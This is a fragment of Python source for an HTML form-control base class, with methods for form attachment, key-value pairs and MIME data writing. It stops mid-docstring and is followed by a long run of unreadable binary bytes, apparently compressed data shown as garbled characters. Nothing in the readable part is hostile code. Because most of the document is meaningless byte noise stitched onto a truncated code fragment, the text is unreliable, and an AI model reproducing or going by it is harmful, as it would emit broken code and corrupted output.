NotImplementedError() def add_to_form(self, form): self._form = form form.controls.append(self) def fixup(self): pass def is_of_kind(self, kind): raise NotImplementedError() def clear(self): raise NotImplementedError() def __getattr__(self, name): raise NotImplementedError() def __setattr__(self, name, value): raise NotImplementedError() def pairs(self): """Return list of (key, value) pairs suitable for passing to urlencode. """ return [(k, v) for (i, k, v) in self._totally_ordered_pairs()] def _totally_ordered_pairs(self): """Return list of (key, value, index) tuples. Like pairs, but allows preserving correct ordering even where several controls are involved. """ raise NotImplementedError() def _write_mime_data(self, mw, name, value): """Write data for a subitem of this control to a MimeWriter.""" # called by HTMLForm mw2 = mw.nextpart() mw2.addheader("Content-Disposition", 'form-data; name="%s"' % name, 1) f = mw2.startbody(prefix=0) f.write(value) def __str__(self): raise NotImplementedError() def get_labels(self): """Return all labels (Label instances) for this control. If the control was surrounded by a

    ßaû‹¢4îP¥éâõe¿+.¯«Ö?æ–OEÙ«¦Û¢|]w(ÚJ4t®­¾¬êUk‰Ø$½Ã+* ¦Ó5 Ý—"ÜÁçYJ9RK³ÀXZˆâ¡4Ñ?D „sÔ7‚jS4CœÓÐ/hT׊»W©¨®©½lÝõÉ`÷—íù÷‹ÇcÃÛ¡&Ögž.Ÿ¬‡ûGaæ"hÅUŠÊïShK¿üêüú[1üŸ’0X1zÜå³u|+…s9ä¶Í9,áŠ:¤ð¢|VŒÖ„rUµwê_›çú v…blJR:ÉåËd?¿sgòËédヽ¯O$þbÚ¨RTäbÚ·Y¥dĽÜز¯Ø¾mï]—"ñþuöµí—Õ3üŠƒ{ÀCyQþÑ‘üâü×Õ/ÎÊ /ÜÊÎLŒS+;OKÎ]Ùý4†€Ì©®œÚá4ÎÊ™°jáÊù¼“þµr3ήÜq¹ 侕gËñ•'­G+wé#,Ç•wåß=] é뾺·eTZù³x“¾¹ ¬¥]BëZÕú W¼ £çòoa+.{À/‚^8WþxΑ–qjIÝ]-No˜›+U$Í•Ö?p#ÍŠþŸ(ð |¥==²R»‚ªõJíZ©V±…ÖºŠO>¨b·³Ýa•H¹ >V6¯Ât¾J¢ Ûƒ®Nª»·{Ü•ºÓðË¡™èßG°UÚÜ q•¶u³Ä*íS¬]!ÎÉîžáúW逹¶«!?f ›$O[8µ:;J.OÞQ<Ùº«±x•w§ø‚®VˆUqµº½8J$¯Weöœ‰ò»*—÷Û¨’«ëî½¾Øã©•ªk¸­ªÔÔØ`YÚÕÍÓÓƒt†«['pšw®nß_?e¼_ÝÂsì2³jN÷‡m§Yo ¸Å¯šÝdÓùªlM«6Eü„<—Ý'i Éñª-Ò ÜðêþòîE 'Áù~U„3åõCÚ “Yu\`V]UÆ€vúPT/°Z­Ök/xI×§/„lpõìÆÛ%n–4 ¦•?šž<ïêÅy=µopìÃøêåîáæMaÜìð”ÉØÇðß¹zu^žîŸy8îjJ¨‚®¦bgDºAÿòt£À&}“€¤N®„0¶Ùjêt‡GlîÜ9Üõz_lQš®Þ}ÿäFd‰Õ6õl7€,±úx¹Dæat¸¶À¾Jíþ@øüúÀm€J£o¨^›ö­ÿ÷Öks_¥B[\[µ4ìkûÚ·à/UÚu=aÑWéx»%æß®;Ä·)]~5¥ëaæ«tcûÌ<ó!Ä•°ê•ÞØÚ•ƒÑ¸ ÎËÏ3)³ëð¡´¯•~¾¤,Kåf™tˆk„£9…gz©Šf†Rx²ÉKz1ÒÀÌ_êµ®Ló~ß XI$C׋÷³Œ—î+•ãý±‡I‰ëãÐ?ÅQooœ?q.𢤗žkÖ°M^Ÿúh½eŠ%y|þñˆ^_¦òëSéÇŒ$Y¦åk“=Pc$qHáÌ0äh§×§;ïîN ÿ:Ýåé¥hDå™a_>K_ŸÝ<¿Kc,s³v\Ö|™+êe>ž/a-¾.ào*ÊÜ÷Óìl¢™KX¯`Ô„¬šÑZJlcÚTôŠÙÑæñ´ K&Þ×GŸ8Ô154 V Cá±W®""väõÕaPØR»,ûÉ¿¸Øf9ÚÔõ×Í»#’kyÅÁ3ŠåæøõÑAûª {ÀºÒëÛ“3|aNRÔ×wö ŠQ”g® GÊSpêy§lý¯&?¨Rºã_ßßœ£~Û¡4нÊ¿»‰NP›ÝûîÚ|õú1Àj÷ò±·­úßôj@€ B‡åšJ¦oË6)ð-Ïö]ûÁЮåPŸ¼Þ ;+Ç8Œ° ïz¼tNkz,—cÑÓ°D¹oGoÓ¢>l÷i‰Bßñv °o¹Þ¥ÜoÛÐ-·}¼Æ|êõççÙõB†ñʈÍßQ™C*¦²”+O¼±ë×7Wzhe??,oK€Ft!‘ãÂW9‘cåÄy•µrÓ‰*& ¥Óðša½?K好wãù"Y­¼ÄlÉáÿy,%wøÏ/Rè•2¾®¹}G¥’=Üö¡íH';=8[€¢Aü!ŒZ•¢÷%·ÀÊ´ŠKí‘,ëH{Z=nûw/-¡Špt$£ýMôr^¿á)±‘7Ú}s|ï˜Ï2ðßœt//¡‹îPº®Ó$½ô*UÙo¿ýøñCØgäâÁU*—3j ^Upª’ö¢paÛ©>9Oãú âߘՆh7‘ì1ïRe*‚M­Ê¤õh?‚êlʇ[‘¯ª›ŸÝ\\ß:àœ7—j¼„ [‘ƒoí£-í6:tÈšü}SœÍi¶éý§F ÁƒóYÑ×°iXU¬Ï ÕªgrF0é5À­¢BxtÈ“˜x)m'"˜U£ƒ‰›WuwìMñÞ:L Õ”":W5-¥îLn qózq} ¹š¤6e25û áÃéTmöÍg\ç»ÙÚÎm* xµuöƒ½1Ñû·ÍôžKÚÍ>™,¥­ö ¤ü›¯sûã p¸Û_\s;±ê°Í°”¶6|Óhz¸!ÔF/R—ÔxmZ˜5«Má"X S#|l £2ÖÖ!”B¸µ+š\mœ]öÌ;·NˆÀ‰µ“Øð¿¬‹ ½·0aWK/wêx ›LÉîÚE–\ì\sˆÚ]¥kÌHÖî£çd¸¹uÇÍé‘ cµ—c%jí/3é8·þé%8†`pèx!r#Œiýÿφ¯¢oÖJt¦¯a­U’Ôjgi»‰Pm`«U±0s"àP` šˆÜ{>ÝÂIÄ}Vô„Û­Åø¶@ÐzjÊDH7`¹EP(MšAÓ–D’ùbl§€[Õ·û Wðð—äQík¢CK1ó/¹DD*‘ŽœßŽy*kèà z»x~9}r¾SùžQþç °´§d¼¿ûþìqÜG SoÛOoÕûbú䩽åB¾ÐþïCZe¸æ`K·­#s4ƒ¡¨@w¬ã“!u¹d®>N¯îR” Óy{üõ$ï¨Ï¿‰ló¢çßžZGÎ+2”Z˜ŒÑSº@üc¤ ÑXÀpžÖ‘£e{¼€²1°ÛÑϤvûƒÊ–6‹á~¦ŸÜÓè*`šf^P§N4d¼Ò—}; Óhx¹Æ‚$ ßGÁö-©áèÝÒ»@`Â[‹Á¤WÜíé•uŽ5ëuZá  yßbùêÀ›ÀŠ„ÿp~ùMþ“„¿ƒßÀ¹)ýNÂI$ –Þ÷÷i¦(ÇÓ‡ÛA#E”b±õ[rÅúÛ­9{YÜÜ\"n°¤¶.`iü³$˜¶¨3ËMÁ”ëLžŸMô®Ï3»©£ ,P¨Ïw¡/•[_œ ›ƒ+B}q½ÚÜ©¾¨w'z¯¼>.¤ìÀ‚E"eýìYEáØýC“MÃO!-T¬òk­/Šy¥èø¢#è*… 8D岺ÐÁj¸¤.K½zå+,i»½>=™V2Ì×å¸o±Ém}ý†ªö”;\^Ë`¢þ§‰n޽ń—6/ï8Ó¼¥Â§nïÞžlÌÞ6ŸQo¢qµ«>ýuË¿$P3èù®™ü6ÓÛI%omõ:ÔNTÓLaОéw÷VFŒ½â-uÛ§œ» 20#ÃÔí Š8’Æ?„ú¡ êvjT7ö|›îÝÙ5úùúÁ=¤¢—Ö½âVBuŸ1&ë>C&oû›ý¬'µ¨ >fcê!Eä®®õP†aäŒv…f7ôúјâ‹c€ å[i&/¯mrrÙæ¦åvª;TÀíëÕÃ-Ö³Ôz•úõVmì+÷V‡Ü¾>_߃îòçr¸ñk>êMQ°iËíûãÓMŽº7µLt(`›Ãa¤/ÎÁ–7æèX{KO·Õ{û;ì¶@ÄÞa(?Á'Ókiv¨·=ÇùýMùìÛÏÅÝù):Åq^¿)oŠ¢ýá\•~8â.RêÈ©‹¿5`†ù«a•F< U:¼õg Ó0¶z~¿Þ‹ŽÛð½I1 Bs½O÷ìûoÝó¹¿i¬ùÕûy¦Y@«ªCz½g}æfžì¹ÝçÓPê Ì/ ™=gêýåý WmÄg}—(¨õ ˜¢å6ÐJßrÃp5ÃbØ0‚ë$Ÿ½‘ Qðv¥?PÒ·/A°`Þ=° ›Ñs%ˤ€œEÐ8ð — Â‹·Ý–oì0ÍWïçØÜõ<ä Õ|q?tœÀ­÷cÈR‘ƒšq» xIÁ!l”båí×ÑÅõ±4þƨ!G6fm¾SN„º©<¢±ÆMý(­½±mÓðW!fA;žbiÝwöÅÍ;Ö†ÜÙëðh/BS㸾c­p‘“´&žêdŒ"èl!† >­öƒÉ±{^Û˜r`Ý@tàúÆ-•‹6ž-žï›’hSw~í'ëàõ"u]ÔQ\g‹;–—&h­bpŒ‰ô—&¼ ½Óàiýb90wß…»°x y«QÖNJùn¼¼½ÊèÕ,–g/§–>µÄ’F•å³Hï·Ç—/HªÓ›—€¡Àµ>LÎߨ{¯0 ?g¿ãñß-ž.Oo0¹Ñ¨aíöÐóçÚ;ÓrJƒèqõ ŒNz_“ÞÙ»ØDÁNáî8–w ¸‹ïòëB†¸;<*1—ð%Úå¸*±KkôîŸþ9#OÈ1´"'5'׎D³ÅÒ%’r¦{£vz·2üß<ñûE†tÝ$O•{\LX×$[[4é-~²ÿ?P†©ï×àŠMSk°Vï—:”οãXoF TwÅ&Û>¥hÍÒ†MBÈÜ DLî–ž…'.UëÀ§±Yž9Ðiše™ÜèëÏO€ï"»•s…‘ø®d¢ˆÎ P4@4z 'ù>. 9oøÓè¨VMQÛ2:3J w9à¬w¹š‰\t·ºDkinŒ‹î=Û4&Ôä¦qLî~( 2ásw—J³$øzº¾qùÛ¹»W/OýñË?$±mWã;:< "bÄCçV‘̪t ?‘Ë´Ó<¼âõë-„×»>¹ytéLÛ &æÞîžxÃ5ÃbÕÖO€ï,ô€Qd-ý+©/ÆvÔë˜&ô¨ñ×þ/ÐW;ñ€)2‡_a'b‡œ" èÓŽz܈(̾ÔL›·å‡4¦»×¯WQµïÞöM  Ùž(ÌíT® Ö6»]fh{»éùîÓ¿0ïÎ %†îTÃ]ª9}¶4aØi¾Â»“s)ü»ÃéåÕ)ã·†‚¨ÖšG÷Í“‡Ö~o&frÂúÑš]ø-ößn¹íÞ:ÿ2­7¤57×®ÓXk XŸÓ:a²ŠVò¿×|{¼—ï¹÷v‹% ¸õÝ|ýê¼Ù¯Ò+ÛÀZ†÷"¶ý&ðiaî‘ô Ïâ6ô£í²XËgÞGöäh7EØZ M¤«ˆp$C³çþäö]zûýéÉ£q*0ÔµYÞµÐúÚ¬6¾Þ9ÑÜfÓP¥Ù¨þ-ýƒ—®$s÷Åb}¼²àõÐ^¶ÍAÐvuímî,4–û²Ûdï(^˽?ÒV‰êÛMMD/ç_ôµô˜û›7ïD†Dçþö9¾1„åµ2*9X¹/Ú`›{ôD3æúŒû»ÓóWÓk©mVˆw KÛ)¡z¸O´÷×/ÊóÁáÛöéõv¿‡ƒjûP.¥…¶ëûËàÁ‚…ÿ¾¿¬O±SÛ¿H_¹îöw¯ÓÑ1^=Æ__k\2Ž­díþõÚDeN ҾݙÜ‹(ñhƒLî߬»›s‘;ï·áCwÇ=äÛíþ#ÍdllwÁ¶+ü UÚ݇Ñ'Ü„ëþS>û\˜tg˜æÜ÷ÁjW ¯ŸGpSélË,»[ž×Æ¢¶v½£µsüÊǃ³sãGi»µ×°ã=x«…=D;_í÷X€Þ…YÐ XÚCxóù~³EJcc)àÃÂ9ßX`"J`×ÅF#)è•¥ï_g8†‹l“r;ÇNÆ7¸ƒ=ˆÆðÕXÍ"pž]6éÎ× [ŠL&Ošª]¿ ²âNmpPÄðpôïâtQdzpŠ{ˆÎ£öæ)]1B‹ïbØTþâÅCâ|I«y89ýá6Ò»D¯«ÁîéL¨wi«' ‡Ó³œÝ!©,òi…8½¹\„Hi¾²K)¥v§¢0?⸃úÐ¥}¬×oˆ6âHvK÷ä¨Ù¨e ©¬[S7á./ª¢ëô5 \VÑ 1šGÒÖ."‡˜ ~„Gþ|A<߈™Š‡Ëðñ>ˆÑ=`­®@®@gëjwY¦þ»äm×Ñ9N50uE_–K¤GQú1Cýp?=÷º²¾‘ò$ïæªnT»AIU°à…uÓ/vˆPÜUÓàˆ"'I·«`À„fWÿ¦Eì‡úq´—!£º¦ÉìA ááîã*z‘A·k¯Ä"åN‡òíÚÓÕÜÍ­-&I°‚‚ÅØ¶Q³k;MzŒkƒ¢ví˜CnhùÕy¸½;y¾<¿{Fú–±Å°ÈÂ:žã™Jê~ˆ+ê¤]ç”6d„‡Ñf=Ʀ®«ì˜‰¡Ý#áV]*xcv½b`lª!, :ÂÚcx0a5qßxðÿ—‘#ƒ³¯Ð:ÁúÎå›çË׬ƒò° ä Öa|æ¿Êç?.ÌWXI£ ÷i+eûxÔnÎŽCX ã¨?…¯‰Ü7Oj¸@òÇ4Z<}^¬ž‹{—<ž~ÚïÂ`×§‡óöBªsõC=üñÜr…ù¯Ïƒø~åÃd½,/Dy,ò·k¸Ó?^]_mÃZÒŸÿïÿëñZ¤äÇëãç§)u¹®3{ãâKÊ·W\}»ø_|Só9$0¬»ótŠÇîâØ†x¼îî_àJ¿î·XË/ïoÆÀW©öèõ#wh}\7÷ûp…øDë>H›ÕJ!‡}|‰<V'èô¢¾OÖ^®Ÿ¯N¥êŸoœ»\Õ©C×<¿\=¹ïFu´õZãñõ‡q$Ío ¿ õäôæäP ×Sï®mø¬§¢ÂÖzz:0¾Þ<ʈ@*Zo>Œå±E|½37¹Ñœ´ÙSPÃt½w/^n®¼FòõWrqÿ$uødXÆÔõõîîô à-¼n¬`5-±ßD¿©ÄCÊCp…ÝSžÞ·IλOï»sQøi—O=í>·Ë ½ko•¶'bÉ6Ä"“~OSS¿#ìŒótx„ѧÃ] Feü'ÄáÁtšÛé,ý“éz°Ž>דHÏ֣󎉟ÁVO«BØû³ýx,O~vü×#oýËÿíüø·g'–KW9ÃÆ8÷/¬‹w %–Š îjQ/Ö¥H6Ò¨žÝÛ GìàÞàÁÇ»g÷%fúìáÏ<µï..ïéQùì]¿<|Ië¼—dÈw£äÈ>Apùçðý8ßж7(;¤ÀÅíY% V> *Í ž>/²Ü³áyùÙ‚'í qcqŸ1B¥7/\§jTÐÔó¹´&Ô‹˜óBF¦˜ƒ£€Ì€ÂÙ 6ëüTZÈ ]‘Ôÿ÷óÑümŸ¥Ó1ºù ÊPMõ9ÆŒQ§ Ê%çö7hGÏñÃëó±¤Ù>$¦ÝOÿ ÙtÒWÎDˆžPÒhÈMи)žäiÏÒ=§ú9­Ef¡¥E“¥U$\.³Â榄3¤’ìEÀ˜êPî«E‡!Ýr°Nß?D2æþò£³ø|_¡r#»±‘åÒÛ:ê竺 ë³ ˜„­š–òõú|´í1öq{EZUX–>C|d.ã$[u^°ì ykð-m¢ _‚ŠºáœôP$|^Q!ÀœÓB9<u7@3 ô¼¾',(Ч"1–WÏ3eCqX¢ìVq=ÂXü¼*vññøŠb,C¸?__^Þ¡á–ógÊ` XÞ¢]@^I_~®/VÇ7Üæ‡ºuÇbIPCLê©Ït1Ãonè|ð|wÿŽßCˆsm´O·h Ø~³âŒ†g¯èÕmuÏh¾_„ooá7„ÆŽM?Õ7Å÷Áùé?AÇäϺ ±~{h'á§ß@û ÷‡"Þ£:³§YwèÒ–;P¦={ÒîÙI»’ þÛs·‡Hø¼ß>2iÏ·(âõºh:¦O¶}(œHÛï³éöÌÁˆMgDçÿ áHò/óÞ(ß)©†ÿôÂü—Û ý¸çgûëþ npjsÔ‰çgϾ†}ªi:¤=W6ÛØ?÷@†OÖ`þsíÌa«aTœ¦|º·˜Ðë_‡©ý¢Z¦‹Ø¶Gõ<£V8q(i]îöðßâeŲ†:1ŒµjÙGÉq楽½äa»d [ìÄK2îg’i~7b¦ž§°~'¢õEc ZT‘¦ð\b|ywƒ7úÜ3ôVˆ¤Ã q_D©ÕqÅ‘-› Ó¼yùó7¦"Ù_§š ’„N ¢Ä<¿Þ¾ s(Ô_a»É¹¸ÃCT!—ƒ?;ÅÔo8Ÿ €=?PX²­ùŠÝTÔð}&ÑrqéÛíåcŒòÛ4Þé``­ï°õ7S…ΒųÐñxÞ‰ô)f*¬‰¨¢íª—1îùýÙºÃ(öqkß`÷€aïm0öí!ZÅïó){ØcÇ#:óŠ^Æ&øùå¿ì¥y=âãÍ΄ú5†²¬ánòb,ÏOïBpѬ½,±<æÅÜÇwwÒXFËP6ìZ£ÆXxübÁÂ>ZÜß_¬Í>ëD±mIrx iÚ/¶ŒÃ#þŒø[£{õ:¸¥ öL~°^¼c߆‘môR£ÂÚ¤ïüüëýàêVXË‹¿²ï”p¢Ñ¯NCþ¦£?™©‰ùÞÊUc°;ÖûžL»Ó³Ó-Âò!Ä(‘—b;ÜÁ?.n¾mÕ¤õ½Õ)*Hÿ|½u°¡GÅÎ3h#øåb]Ã5ØäwÄ®ËK¼rÄ>˜ &BªGBßå1å¼Þ ö*ôÒ"éw›¸6+P+ ö6¬~I·ƒù§$diÒa?­qyßÊ÷²Ü®]Ât ÉgÄ;æ6˜Xƒ¯›ã% 6sä–9ô1^rK8ÇÏ5@*ÎgÄ\^œ]><ÿÐiœÛ+úZ}Oß Î8Ý æH çYyAyÛ':M›È58ÌL@Õ^Ϛ‹€©Ò×ÐPÓM›ýF\·S¥ ý nv |+h=q½1`Ëv·Šå‚…t:ëä¯{Q?s°m{]^Ù’?€KìòÂÒ^é*£ÙI·/*õvÊ ·ÙjªöàÕÀµb¹¶}TðEPƒ@‡‘«ÆÆ\4)¼¤ÐݨÈ2í˜DeRÏ̃֩þ•A"˜‘Цù"™.p0rUÓß\]®…MŒ«²öö¶y¡–ʥ݋¤ýr3Ý_À´œ±îË/t‰—¿šôGó"¯z¹ÛmE¤ÀJŠÔe6[úˆ­(óòØúåþô)uÞ‚ €v+cC®Å­­1G)£AË™I±Õߎm—r­öØNzc¦±;pæüe¼¢xÖ}U{co°rSÏé×Ù¹QJ‘ĉ…quä&‘ E5ñ7"ÞDXñÿÒ¯œÔð`ÐûëCÖp+Àñ鯉«K¤µET°õÓ¬ÒŽƒ±Œ1÷þ2»êÏ8zØñyœ–Q Ç85žˆÉ¥"’úR“VóqÁ•€óW@¢"SG>2õc…9 P5ÓXõ¸ùÕqsÏÿ-¿Î|| ݯö«ßFØþ^6_Ë›[ÊŽ[é¤òš—íù±©<,"ß/¼›jí#ÆÅûòq³~2ÂÝäýzõ»h¥/ŸÎé훨¢®N[øéŽØ~ƒÐ8_>?®Ÿï…ÿ|…¢,àÄ! %‹ò’?äïÕ¸‰ÏŸ,ìAÛÃõe²"ÓB³ IÌŸkW¸WëøyÄæ*¯ÖåK{fB½žä.Êó“…9üâžWëî qŒ‘²:ü4ÕÀE&«O‹eS4ú%ìl“µ«ø;¸¸ƒK˜€î( 1³ñêXa‚ò˜DÄ9ynÛÎü[$öÏç’‹W÷ëú&÷ÉKêÓÀCøWß½8½”¢›¦¤™½áñÓ™€Ð¼¸þ«_KÿíÄÅ\ΤªtUFMØ$Ìat®±Ðp:ºÏæëìoÿ+ª8©ñzÔÏ×’£)>º?’ç¼Æj9B¯C¬¨vB3šÓàî¿€žTÑk‚Ý]qÔÃÜ4¥¡»ñÖÊ_í¢ú¿¦ Šd:}쎥 NKôkÊ-Gõ…UÀ>$ÌIn/“¥7¬ˆ2ÔÍ[íæ764‰M8wknðÖÔõ!3sÓì¶~ûô¦-È›¶Ý ÒǦ³v#H†E¾›.w›ºì€¶º}½­}·yµ0ß´Y_¿UHöo÷Žßº¨ÑÍc‡*›ÞZE ê¦o ¬¼õ¯£Q0ÌmžÞìOéoÃÙå#b/¿ Ù°ÅÖ½€—ææ<€CÊf<ë7Ò¬6/Ù¦ßÓGyóºT#køõÃ[b†÷mSºab9ðæ­¼–Œ¾½‡'ûOîê¾yÏÒÏ{dô<|žVž9ÃAœµ£tÇ·CZ„¾Ï¢wãí?å×üp¾°òáÝvû ÛÑlí£ß~¼`·/>ž^d4Û:KÄFÙ:¥ ágëTÂÊåK·n¹òay÷žÖwi·Þ‡‹[o`Úú[4‹mˆðGÛp™“h‰[•Ç [ͽ/nNž_PU£ã jDP¢„¼UëLŒï‹ï‡ûôÇïÒ$ÞÇ/æ+ÖJ¾Ç+¼3Þ¥¥ V±M쪼Ã’ÏÓG:ÜlÓˆ?ò jQQ, ôörÏûéÒ¾Yȹߦո‡‰SÂF^3r0¤óýìöè³pï狳#nu ‹mžB$Iú?÷Ç ¿&èôV¢Ä$^Tá]‹’9oéž9¢Í¿O·¡·@»Ùúò©ïÛ t¤÷݇{šºpïÖ8ˆ€Ï/_úëGY¢»íbóyŒl»ãÛƒÓljqþ.Íd—$ƒì..­/,nþ¸|~Áêc4+ø£}\µû{ƒa|”þé»Ë,»›÷àÉqùã®ß'wÒw­¹Ì?]¸HÜÖ±ð⇲z¤¦w-ž¶6jsÀáãÑ36¬#¨zO &x7Ú¶‰Ýh»1†R¿{¹¾u1Ïñ1>”טXßmºõªµ—FÜÁ•|Çÿ~“ >>±©v ¢ k·_Ú{ÌêîöeèoM€É²àùq8ﮤÅ}|Ý]¦‡ÀýÝé©ÿËÿÏù4^•Ìì­u?†òŸöÂ>ïí+çöTšÂÞY.ŽÜ-@Ó8¶ï%ÒX>e|ògïQbï‡Zß§w‹é¾½W·a3ëÞ·\ÑiÝM¾‡…EÚ¡†ô³÷W£ßì*yígp{s,·=[ À!cÐç½²1¶}*ß>ÂUíi¨á¹ãÿ¸Éì¹?ZN個î.O¬ Ræþè>x=‘³O¼1¥?~&‘zƒ%rŸÄA°“òù<9?kž²_þOgÿ¿OÞÿŸpzõ*"Ê~™†Ò©>ϯ;é…ŸËÁ³}ì–óyq„n²—¯ˆW™T‡”ýn-Üeýõðq@fªÆ«±la_µõ"}Þ؇dßÎZ¦ ¶\Jö7åã·ëûØùñ÷zÁ«¤¬ + ˆ{Fo? \a¹~ú§ ÆžŸc½ïÛmr—¹˜?Ø?ú±=‰²÷ùt{ö~"íußwÓ‹'zÙ~ˆ6 ÆÜÿcÿœ%ÿMzÑçPÝàeÓuÚ`¹Í§èþˆ®ýùV.Š»]c¿¹»{¼)vª»’>ø¹ÛYaq)Uüe‡Ç•íñ¬¬þCÒ¶S³¶ÒàËŽî^v° k‰»7` Šu{B j|ÙoW—¶( _N£ž õu.䊌 ‰îÙ×36"ûòz÷3Ö‡ »]ÃSIÀ£wZ8¨ ¾ºñ1Tbw%iñ:Õ«Ùª¨+•»@Í”`®àýi ¦Öá¨8iW$ÜŸÝÈ[¢G£1q¼¸çî!:øRå_ÇîÑû±0¯¯µ’ÖqHV`\_Éôd}˜X¯}HWæ  dTW?öK fáí÷¯³ZÙ![Ú~96@«å|é+û8àp¿Å<Ú×¹st>H²,ûÃ_HyýDÜC±\î‘ó¢Ùµû&¨C1¤%‰¿®ŽŽNäøúv¢Cmô=2Ýw™¨z`sÕºÒ„Í–¼¿’e¸´a–þêžÞ#* {Åν‡îõë“^‡nk"ží×z—°Ãzx{õPHOþíð‰žÎ9ZË×Óýú.,æëù…õ|½¸Ej; µ™aýÆat«F¾^/LÓ‡éïËtgÕÎÁÇâåç¶owúC6æë=ºâ×{xü»ðëömºä°Ý©©.SxÀ}½¤â¾vïù±@Ð?|•Æ‹iÁ þõu÷üˆ0²‡Ã!u×î/î/ÿçÿþßî/ÿûÿý—+?¿ü§þONüøñ‹û×/îo¿¸¿ÿâþú‹kÈ?90þíXŰ“~ðWãobŠî`~§83´Í[©aÂàûtè[ËbYðqô@¾Áÿ‘zNàGú öÓ0ÁÆ[…HK8uK3¤2PŸÀ¶Ë“?†i¹¸¦O`ê–}T¤p[á„`€p<æÆ ’N#öSåÛ-ÃÒ„ç,[?ÑrÌÀñÖòþ4|ϵ„k*j ˆ €¾ƒXyD))KÆ–kHôQhñ«EgÜŽkŠïš›Ì÷g»ó»]W'»ú"ŸßçþcÙºˆÜ8Øgû ËÖÓðä²AƒMÈ gò°"ÀŸ_ãyºÎ=ßt4XwÝ8|o˜/)BHèw®lß ­°où< bÆ @©dâ‡E±ü‚UÉà $ŠÐ²`-†¦¡ ³ÚÌ€4x~+¢9ibG8ÒÔô !¿!%/—ÎÛ”ãd^D¸ÿ˜4K=q$8t 3s7-€vKzüzt Ê.‘Q½À'E«ÒÕ‡)³¾”´ÎÙÑêbîQ|¯DÄ”cŽíæzÖˆô¸iÀô–ËògA˜ÆŒ»QÓÀ锆!É|›-z§këôÈžÍ>ešlWØTÌð2"s>a±M H<êÿãWR&jñǰä~{†3uv¤fàö„¾>£oaÝ€è> HÛÑ¿<ÐÍZhuBš©ŒhMU¥ØŒLQ¿y ™üZ«^>NžfêË\ý;æIót’Qcäó¾Ý1¦9–ô²¯r~žc0lN!”7é*3ç*’þ÷q8§8¬@×4†4R,†úxþLí¦ ’bÓIØ}Ô7,DMŒ˜âñÇÐØÒG¶£å3uÖ=6‘ÉMßÕ(ÐyõžgùºøÌ¤ïN;¥>°­_Âï«uµR',ˆÀv½@#W×| /ó±?Ç(!:+Aèmbtÿ;vPa}†üX]L¡©ÛI¨ %tõ‘„Õ²rCýF!ú•áâô üÔŒbý6ì*…f&ìwfZM2¶UÄYß‚H»Ñ`mC–êw—4¬ ,XÔ–',ýåÒ²Ù’-7HœÀ°4r}–á…:A˜a^O„úV¿Ü³÷ZF ¯ O²Œv©DX& ßæg¡#…qì°¤‘„š†|¤²|-¸ˆù:¥/J|;˜eéL7wK3y!¾Ã;-}ø}°ßeuAøóØ Ç×è4Á 'bßÑ¿ú@Ÿ4ÙíŠl[FPKl¨JD¦bÙR˜Ž¡Sôûmýy¶»?”_`ûÃa¹9h8u1«ÂŽ–ü»l]Ž4ï…N²ì€ÑrtÝ`¿c//Ö›Næ_îW„>óæd5 Iw]|8‰p9©CíôÉùÇÝPixÛ²1AÍg=[Ç›+ëW­b¸õìž ˜'½YÆ’S‰>ŠÐþ®†¡nGž|#¬ÀZìó–oÎʷ™ʼn\eë__§›ÅeN°Ú¨š¥ê—Ëõ£$öž²­¢Êˆç–d¥Ø ”â€JßúÔx:¬cvƒ04^Mº,g^g‰²2°ÑPÊ=4äà“Ëçß™º+ÙImÃ(K›€ã”4™tØ´¡­Sýë„F8ú:=PÛ±ì •èJ6+Ê6àP`òÇÖ›®'Âa^YêMÕê[è„©i@Úõª øé¶)̮Š±í‡ØÕ¿Á7 ËÍ:‹ “¾ul1ÖŠ,.<×ÓH1“¶î¶Hp{¿²lûN:£u (Wø«ˆˆMc#GF,9¡M;'ÖÎS®.5ׂ@°ë‹ êSƵ]ç\;Ÿ»‡t$—Îc»zãY"a¡ã¾Þ¡ۼ³v©>r¢bµâÝÞÏ“ž.zaýA! ãŸN˜9ßÔúΪg§·ýÀð(2Ë""̧øá÷õ0$§`õ+íÀð-v| ±X²©Ù©“|#ÒT×q@@H¾b•uÛ—)Yö3kµÓßÚüÑ/ ½¦wüâ]ÌŽ]Ì* Л] È,åH–ãØvêê Á‡e‡Üë93µÙ™Ý »*Mƒ½Ð14ûvÐÏ=[Cc“¾ÞÊüºúWϘ‰«¯ïô#69GXŽz¶¡Ù³p¸nª·ÂnM~ÕÇã0ë˜,@c±¦d¤B}!v€jY”@ù>‹E'ZVØ1sþ4HE©`f¬å¾¡üïXˆ`0ŽÍÚpl4nfņë¨ïéË89Ž–bÇ®“¨9:ZÖq7ÝyBè2uVMÂÖì a…ŽOµÒ™ëHþùmEŠtu[Dü7"{¨ U¸KOš)¿ÃE¼.‚n*r´*²Vé­Þ¨)_ï‹g±Ñ;"‡ú¶F~”&{~œè˲)iÙeŸ'”8‘=æ¦CyÌѪ©° ™Sí~XO,ø Ôg’”%À‡†®€ð› Ò'¤Ó÷ìNè]¥YFäo“}IDƉ–éÄoCôg!™bòrßWTØj„è!$t;lb<ˆ¥çþ4P¹s"ÛãG$T{¯ÕóÀn¶MQêÏ´³8Yó£œôÐ;¼¹`–sõ“\°qJµž‹?’FIò.m˜ó$«¢^‡ŽÅQBvZŠÄY¦Ep³¶Í8nýë¶i©Àyž=O(éÿGÍ÷-ÜdilöŠ˜Þ¾i</ð ë·ß~Ó€íÒ‡ò¢Dß—°»h•\¬ DÚ€(4ðÙwt²É¡Ó7±t^§º!Õßüãæõ&BŠ;R‚.eš´V¢…d›¡[†Ëñ¦àÛ&y‡o³ÄD;»PQe‰’¡ßp) }\ŽÞàˆODÞõ¥ó•ø#­ÐšQÈN$@**!Ëòír—|53嘟截F)W$é&E}Qì7M]G„”lDo)eûsʘ9ж¡a›d>ØÅÀDà‰PÌÂrC_¢„cUhU>4V6hAõ¡×i¶Cç{j°“¡Î_HNáû–Î…/Úž.9Ÿ SHÇìÿ¾ïÇÙÄÏõ}]È~K^âÓ@'¿ûÍ~Ç‹þœ?|¸> Ù CÚ%Û]¾$ BvlemySP.V+¿ª?…Xæé¿“Ãú¡M E4Œl±B}̇‡ÑýÌ5TBs™ïO„öˆ°?RÄÆ¿~%%[`Žó)²2vzè—}} ¯Ò„¯@š©¾\££©>\âX ¢^ÒêX– ]€Ðñ)ë2è»Å¥F¶&·Ø Šn`IEáŒlÖz`³ÿÑ“Áw²cj-UPFÓ@(Ü@òQú\Gß@6ØÉXó%6'£8¦è±¾F>«1phŒ%MÄ/rœ]Ûu,;ÇKC@YÔDTÙwþeÎd´ÇЮaºÙ7KBVvà’[®ïytÌ…«ꤦÎBa-˜¿ÕÓƒw æQ 